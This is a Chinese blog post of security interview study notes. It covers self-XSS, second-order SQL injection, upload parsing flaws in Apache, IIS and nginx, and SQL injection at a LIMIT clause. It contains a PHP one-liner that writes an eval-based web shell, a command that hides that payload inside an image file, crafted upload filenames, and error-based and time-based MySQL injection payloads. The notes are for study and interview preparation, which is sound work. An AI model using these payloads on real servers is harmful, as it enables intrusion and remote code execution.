安全面试总结

安全面试总结

记录下我这次面试过程中不会的内容,有待之后学习,有些还没有总结完

1. self-xss

Self-XSS(自跨站脚本攻击)是一种由受害者自己输入XSS payload触发才能成功的XSS攻击行为,这种攻击可基于DOM,或是建立在仅该用户可操作或可见的域。

比较鸡肋,经常和CSRF一起使用效果不错

这里有一个关于self-xss结合csrf的实例 
鸡肋CSRF和Self-XSS组合的变废为宝

2. sql二次注入

1. 什么是二次注入

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

2. 二次注入的原理

在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据,转义的数据存入数据库后被还原。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

3. 上传解析漏洞

1. apache解析漏洞

apache中间件早期版本在解析 shell.php.x1.x2.x3的文件时,是从右往左开始解析,如果遇到不认识的后缀名,就在往左解析,x3无法解析,接着往左判断x2也不可解析,最后直到PHP后缀解析成功 
“` 
example:www.xxx.com/shell.php.x1.x2.x3

除了PHP后缀外,php|php3|php4|php5|phtml也可以被apache解析

### 2. IIS解析漏洞

#### 1. IIS 6.0

1、目录解析
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

example:www.xxx.com/xxx.asp/xxx.jpg 
“` 
IIS服务器会把.asp或.asa目录下的文件都解析成asp文件。对于/xxx.asp/xxx.jpg(xxx.jpg可替换成任意文本文件),IIS 6.0会将xxx.jpg解析成asp文件。

2、文件解析

example:www.xxx.com/xxx.asp;.jpg
  • 1

只要文件文件名中有.asp,就会优先按asp来解析。例如,对于xxx.asp;.jpg(需要抓包需改文件名),IIS 6.0都会把这种文件解析成asp文件。(xxx.asp;.jpg这类文件在windows下不允许存在,;.jpg会被自动除去)

3、IIS 6.0除了asp还可以解析 .asa .cer .cdx类型的文件

例如: 
- /xxx.asa 
- /xxx.cer 
- /xxx.cdx 
在IIS默认配置中,这几个后缀都由asp.dll来解析

2. IIS 7.0/7.5 Nginx <8.03

主要是在对php解析时存在类似于nginx的解析漏洞,并且需要处于Fast-CGI开启状态。这种漏洞的利用方式是在任意文件名的URL后追加字符串”/任意文件名.php”,那么就会按照php的方式来解析。

利用方式

copy xxx.jpg/b + xxx.txt/a yyy.jpg
  • 1

xxx.txt的内容为

<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST[cmd])?>');?>
  • 1

IIS 7.0/7.5下的解析漏洞是由于php-cgi本身的问题导致的,与IIS自身并没有直接关系。

3. nginx解析漏洞

目前nginx的解析漏洞利用方式基本上和apache,IIS一致,一个是对于任意文件名加/任意文件名.php的解析漏洞,如原文件名是test.jpg,可以添加为test.jpg/x.php进行解析。还有一种是针对低版本的nginx,可以在任意文件名后面添加%00.php进行解析。 
主要影响的版本有: 
- nginx 0.5.* 
- nginx 0.6.* 
- nginx 0.7<=0.7.65 
- nginx 0.8<=0.8.37 
任意文件名/任意文件名.php这个漏洞是出自php-cgi的漏洞,与nginx本身无关

4. sql注入点在limit处该如何使用

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入点】
  • 1

limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,但这在本文中不重要,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE (doc)。

尝试了如下payload :

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
  • 1
  • 2
  • 3

上面的方法就是常见的报错注入,所以,如果注入点支持报错,那所有问题都ok,但是如果注入点不是报错的,还可以使用 time-based 的注入,payload 如下:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
  • 1

这里不能用sleep而只能用 BENCHMARK,sleep 在ANALYSE 中没有被执行。

猜你喜欢

转载自blog.csdn.net/qq_36178899/article/details/81366324